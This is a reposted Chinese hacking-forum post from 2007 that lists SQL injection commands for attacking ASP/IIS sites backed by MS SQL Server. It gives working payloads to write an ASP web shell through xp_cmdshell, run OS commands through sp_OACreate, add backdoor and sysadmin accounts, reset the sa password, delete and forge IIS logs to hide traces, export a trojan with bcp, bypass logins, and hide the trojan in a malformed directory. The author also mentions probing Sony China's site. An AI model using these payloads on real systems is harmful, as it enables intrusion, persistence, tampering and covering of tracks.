忘记密码
 新成员注册
查看: 2005|回复: 0

[转帖]一些有用的ASP注入相关的命令

[复制链接]
我的人缘0
发起活动
0 次
参加活动
0 次
龙能跃 发表于 2007-6-19 20:20 | 显示全部楼层 |阅读模式

你还没有登录,登录后可以看到更多精彩内容

您需要 登录 才可以下载或查看,没有账号?新成员注册

×
1、   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=vbscript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
用^转义字符来写asp文件的方法。

2、   http://192.168.1.5/display.asp?keyno=188 and 1=(select @@version)
显示sql系统版本:
microsoft vbscript 编译器错误 错误 '800a03f6'
缺少 'end'
/iishelp/common/500-100.asp,行242
microsoft ole db provider for odbc drivers 错误 '80040e07'
[microsoft][odbc sql server driver][sql server]syntax error converting the nvarchar value 'microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation desktop engine on windows nt 5.0 (build 2195: service pack 4) ' to a column of data type int.
/display.asp,行17
3、   我在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在sql语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在url后面加上“) and 1=1 and 1 in(1”后原来的sql语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in(‘firstsee’)”的查询语句造成的。

4、   http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
判断xp_cmdshell扩展存储过程是否存在。

5、   http://192.168.1.5/display.asp?keyno=188;exec%20master.dbo.xp_regwrite%20'hkey_local_machine','software\microsoft\windows\currentversion\run','help1','reg_sz','cmd.exe%20/c%20net user test ptlove /add'
向启动组中写入命令行和执行程序

6、   http://192.168.1.5/display.asp?keyno=188%20and%200<>db_name()
查看当前的数据库名称microsoft vbscript 编译器错误 错误 '800a03f6'
缺少 'end'
/iishelp/common/500-100.asp,行242
microsoft ole db provider for odbc drivers 错误 '80040e07'
[microsoft][odbc sql server driver][sql server]syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、   列出当前所有的数据库名称:select * from master.dbo.sysdatabases

8、   不需xp_cmdshell支持在有注入漏洞的sql服务器上运行cmd命令:
create table mytmp(info varchar(400),id int identity(1,1) not null)
declare @shell int
declare @fso int
declare @file int
declare @isend bit
declare @out varchar(400)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

exec sp_oacreate 'scripting.filesystemobject',@fso output
exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

while @shell>0
begin
exec sp_oamethod @file,'readline',@out out
insert into mytmp(info) values (@out)
exec sp_oagetproperty @file,'atendofstream',@isend out
if @isend=1 break
else continue
end

drop table mytmp

----------
declare @shell int
declare @fso int
declare @file int
declare @isend bit
declare @out varchar(400)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'cmd.exe /c cscript c:\inetpub\adminscripts\adsutil.vbs set /w3svc/inprocessisapiapps "c:\winnt\system32\idq.dll" "c:\winnt\system32\inetsrv\httpext.dll" "c:\winnt\system32\inetsrv\httpodbc.dll" "c:\winnt\system32\inetsrv\ssinc.dll" "c:\winnt\system32\msw3prt.dll" "c:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
exec sp_oacreate 'scripting.filesystemobject',@fso output
exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
while @shell>0
begin
exec sp_oamethod @file,'readline',@out out
insert into mytmp(info) values (@out)
exec sp_oagetproperty @file,'atendofstream',@isend out
if @isend=1 break
else continue
end

以下是一行里面将web用户加到管理员组中:
declare @shell int declare @fso int declare @file int declare @isend bit declare @out varchar(400) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd.exe /c cscript c:\inetpub\adminscripts\adsutil.vbs set /w3svc/inprocessisapiapps "c:\winnt\system32\idq.dll" "c:\winnt\system32\inetsrv\httpext.dll" "c:\winnt\system32\inetsrv\httpodbc.dll" "c:\winnt\system32\inetsrv\ssinc.dll" "c:\winnt\system32\msw3prt.dll" "c:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' exec sp_oacreate 'scripting.filesystemobject',@fso output exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' while @shell>0 begin exec sp_oamethod @file,'readline',@out out insert into mytmp(info) values (@out) exec sp_oagetproperty @file,'atendofstream',@isend out if @isend=1 break else continue end

以下是一行中执行exe程序:
declare @shell int declare @fso int declare @file int declare @isend bit declare @out varchar(400) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe e:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' exec sp_oacreate 'scripting.filesystemobject',@fso output exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' while @shell>0 begin exec sp_oamethod @file,'readline',@out out insert into mytmp(info) values (@out) exec sp_oagetproperty @file,'atendofstream',@isend out if @isend=1 break else continue end

sql下两种执行cmd命令的方法:

先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex050718.log >c:\temp.txt'
(2)declare @shell int declare @fso int declare @file int declare @isend bit declare @out varchar(400) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd.exe /c del c:\winnt\system32\logfiles\w3svc5\ex050718.log >c:\temp.txt','0','true' exec sp_oacreate 'scripting.filesystemobject',@fso output exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' while @shell>0 begin exec sp_oamethod @file,'readline',@out out insert into mytmp(info) values (@out) exec sp_oagetproperty @file,'atendofstream',@isend out if @isend=1 break else continue end

再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex050716.log c:\winnt\system32\logfiles\w3svc5\ex050718.log>c:\temp.txt'
(2)declare @shell int declare @fso int declare @file int declare @isend bit declare @out varchar(400) exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd.exe /c copy c:\winnt\system32\logfiles\w3svc5\ex050716.log c:\winnt\system32\logfiles\w3svc5\ex050718.log>c:\temp.txt','0','true' exec sp_oacreate 'scripting.filesystemobject',@fso output exec sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' while @shell>0 begin exec sp_oamethod @file,'readline',@out out insert into mytmp(info) values (@out) exec sp_oagetproperty @file,'atendofstream',@isend out if @isend=1 break else continue end

9、   用update来更新表中的数据:
<a href='<a href='<a href='http://xxx.xxx.xxx/abc.asp?p=yy;update''' target='_blank'>http://xxx.xxx.xxx/abc.asp?p=yy;update''</a> target='_blank'><a href='http://xxx.xxx.xxx/abc.asp?p=yy;update'</a>' target='_blank'>http://xxx.xxx.xxx/abc.asp?p=yy;update'</a></a> target='_blank'><a href='<a href='http://xxx.xxx.xxx/abc.asp?p=yy;update</a>'' target='_blank'>http://xxx.xxx.xxx/abc.asp?p=yy;update</a>'</a> target='_blank'><a href='http://xxx.xxx.xxx/abc.asp?p=yy;update</a></a>' target='_blank'>http://xxx.xxx.xxx/abc.asp?p=yy;update</a></a></a> upload.dbo.admin set pwd=' a0b923820dcc509a' where username='www';--
www用户密码的md5值为:aaabbbcccdddeeef,即把密码改成1;

10、   利用表内容导成文件功能
sql有bcp命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个asp木马,然后用bcp命令导出形成asp文件。
命令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –s localhost –u sa –p upload('s'参数为执行查询的服务器,'u'参数为用户名,'p'参数为密码,最终上传了一个runcommand.asp的木马)。

10、创建表、播入数据和读取数据的方法
&#61548;   创建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
&#61548;   往表里播入数据:
' and 1=1 union select 1,2,3,4;declare @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='u' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;declare @result varchar(255) exec master.dbo.xp_regread 'hkey_local_machine','system\controlset001\services\w3svc\parameters\virtual roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
&#61548;   从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--

&#61548;   删除临时表:
';drop table cyfd;--

12、通过sql语句直接更改sa的密码:
&#61548;   update master.dbo.sysxlogins set password=0x0100ab01431e944aa50cbb30267f53b9451b7189ca67af19a1fc944aa50cbb30267f53b9451b7189ca67af19a1fc where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

&#61548;   查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

&#61548;   更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password null,'新密码','sa'

13、查询dvbbs库中所有的表名和表结构
&#61548;   select * from dvbbs.dbo.sysobjects where xtype='u' and status>0
&#61548;   select * from dvbbs.dbo.syscolumns where id=1426104121

14、手工备份当前数据库
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s with format--
差异备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s with differential,format—

15、添加和删除一个sa权限的用户test
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -e /u alma /p /i k:\test.qry

16、select * from chouyfd.dbo.sysobjects where xtype='u' and status>0
就可以列出库chouyfd中所有的用户建立的表名。
select name,id from chouyfd.dbo.sysobjects where xtype='u' and status>0

17、
&#61548;   http://www.test.cn/zgrdw/common/image_view.jsp?sqlstr=select%20*%20from%20rdweb.dbo.syscolumns (where id=1234)
列出rdweb库中所有表中的字段名称
&#61548;   select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名

18、删除记录命令:delete from dv_topic where boardid=5 and topicid=7978

19、绕过登录验证进入后台的方法整理:
1)' or''='
2) ' or 1=1--
3) ‘ or ‘a’=’a--
4) ‘or’=’or’
5) " or 1=1--
6)or 1=1--
7) or ’a=’a
8)" or "a"="a
9) ’) or (’a’=’a
10) ") or ("a"="a
11) ) or (1=1

20、查看web网站安装目录命令:
&#61548;   cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (可以修改2为1/2/3/4...以查看不同的虚拟目录)
type c:\test1.txt
del c:\test1.txt
在nbsi下可以直接显示运行结果,所以不用导出到文件

21、win2000下将web用户提升为系统用户权限,需要有管理员的权限才能执行:
c:\>cscript c:\inetpub\adminscripts\adsutil.vbs set /w3svc/inprocessisapiapps "c:\winnt\system32\idq.dll" "c:\winnt\system32\inetsrv\httpext.dll" "c:\winnt\system32\inetsrv\httpodbc.dll" "c:\winnt\system32\inetsrv\ssinc.dll" "c:\winnt\system32\msw3prt.dll" "c:\winnt\system32\inetsrv\asp.dll

查看是否成功:
c:\>cscript c:\inetpub\adminscripts\adsutil.vbs get w3svc/inprocessisapiapps

microsoft (r) windows script host version 5.6
版权所有(c) microsoft corporation 1996-2001。保留所有权利。
inprocessisapiapps         : (list) (6 items)
"c:\winnt\system32\idq.dll"
"c:\winnt\system32\inetsrv\httpext.dll"
"c:\winnt\system32\inetsrv\httpodbc.dll"
"c:\winnt\system32\inetsrv\ssinc.dll"
"c:\winnt\system32\msw3prt.dll"
"c:\winnt\system32\inetsrv\asp.dll"

22、如何隐藏asp木马:
建立非标准目录:mkdir images..\
拷贝asp木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web访问asp木马:http://ip/images../news.asp?action=login
如何删除非标准目录:rmdir images..\ /s
<---->
充实自我,展现自我!没有完美的个人,只有优秀的团队!计协我的家,建设靠大家!只有真正的融入了,你才会体会快乐哦~
您需要登录后才可以回帖 登录 | 新成员注册

本版积分规则

QQ|手机版|CA之家 ( 桂ICP备07006672号-6 )

GMT+8, 2025-9-20 00:23

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表